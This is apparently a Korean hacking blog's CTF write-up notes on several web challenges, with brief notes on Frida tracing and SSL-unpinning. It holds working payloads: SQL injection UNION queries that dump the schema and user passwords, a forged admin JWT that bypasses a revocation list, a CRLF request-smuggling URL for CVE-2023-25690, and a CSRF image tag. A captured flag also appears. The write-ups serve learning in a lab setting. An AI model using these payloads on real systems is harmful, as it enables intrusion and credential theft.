Cooking Flask

sqlite3.OperationalError: near ""%')"": syntax error

위 에러를 통해서 사용자의 입력값이 괄호 안에서 작용한다는 것을 알 수 있다.

1') order by 10 --

sqlite3.OperationalError: 1st ORDER BY term out of range - should be between 1 and 8

 

') UNION SELECT '0','1','2','3','4','5','6','7' FROM sqlite_master WHERE type='table' --

 

') union select '1','2','2023-04-23','4','5','6','[]', group_concat(name) from sqlite_master WHERE type='table' --

 

') union select '1','' || group_concat(sql),'2023-04-23','4','5','6','[]',1 from sqlite_master WHERE type='table' --

 

') union select user_id, password,'2023-04-23', password,'5','6','[]',1 from user --

 

 

JWTF

# get flag if you are an admin
@app.route('/flag', methods=['GET'])
def flag():
    session = request.cookies.get('session', None).strip().replace('=','')

    if session is None:
        return redirect('/')
    
    # check if the session is in the JRL
    if session in jrl:
        return redirect('/')

    try:
        payload = jwt.decode(session, APP_SECRET, algorithms=["HS256"])
        if payload['admin'] == True:
            return FLAG
        else:
            return redirect('/')
    except:
        return redirect('/')

PyJWT 모듈을 사용해서 JWT 토큰을 디코딩하며, 이 때 자동으로 URL-safe base64 encoding을 디코딩해준다.

즉, 기존에 사용하던 +,/ 를 각각 -,_로 치환할 수 있다.

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhZG1pbiI6dHJ1ZSwidWlkIjoiMTMzNyJ9.BnBYDobZVspWbxu4jL3cTfri_IxNoi33q-TRLbHV-ew

jrl 엔드포인트에 요청을 통해서 얻은 토큰은 URL-safe base64 encoding을 사용했다.

기존 토큰의 -,_을 각각 +, /로 치환하면 다음과 같다.

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhZG1pbiI6dHJ1ZSwidWlkIjoiMTMzNyJ9.BnBYDobZVspWbxu4jL3cTfri/IxNoi33q+TRLbHV+ew

 

Flag: byuctf{idk_if_this_means_anything_but_maybe_its_useful_somewhere_97ba5a70d94d}

 

Willy Wonka Web 

LoadModule rewrite_module modules/mod_rewrite.so
LoadModule proxy_module modules/mod_proxy.so
LoadModule proxy_http_module modules/mod_proxy_http.so

<VirtualHost *:80>

    ServerName localhost
    DocumentRoot /usr/local/apache2/htdocs

    RewriteEngine on
    RewriteRule "^/name/(.*)" "http://backend:3000/?name=$1" [P]
    ProxyPassReverse "/name/" "http://backend:3000/"

    RequestHeader unset A
    RequestHeader unset a

</VirtualHost>

https://domdom.tistory.com/670

 

[CVE-2023-25690] Apache HTTP Server <= 2.4.55 mod_proxy enabled - HTTP Request Smuggling (HTB ApacheBlaze Writeup)

Introduction Apache HTTP Server 2.4.0 ~ 2.4.55 에서 mod_proxy 설정 시 HTTP Request Smuggling 취약점 발생 mod_proxy 설정 시 RewriteRule 이나 ProxyPassMatch 설정 시 사용자로부터 URL 데이터를 받아서 가변적으로 치환하는

domdom.tistory.com

위 글을 참고해서 문제를 풀 수 있을거 같다.

https://wonka.chal.cyberjousting.com/name/1%0D%0Aa:%20admin%0D%0A%0D%0A

'Hacking > Web' 카테고리의 다른 글

정보보안 수업 과제용  (0) 2025.03.20
[LG U+ Security Hackathon FINAL] page  (0) 2024.12.06

Frida trace

frida-trace -i "open" -U com.android.chrome

chrome 애플리케이션 open 함수 추적

 

frida-trace -U -F -j '*!onClick'

 

MITM

https://codeshare.frida.re/@akabe1/frida-multiple-unpinning/

 

Ref: https://youtu.be/pjEd1cHYhi8?si=IDFhh42vbwZB6YHL

csrf-1

/admin/notice_flag 엔드포인트는 내부망에서만 접근 가능

<img src=/admin/notice_flag?userid=admin>

+ Recent posts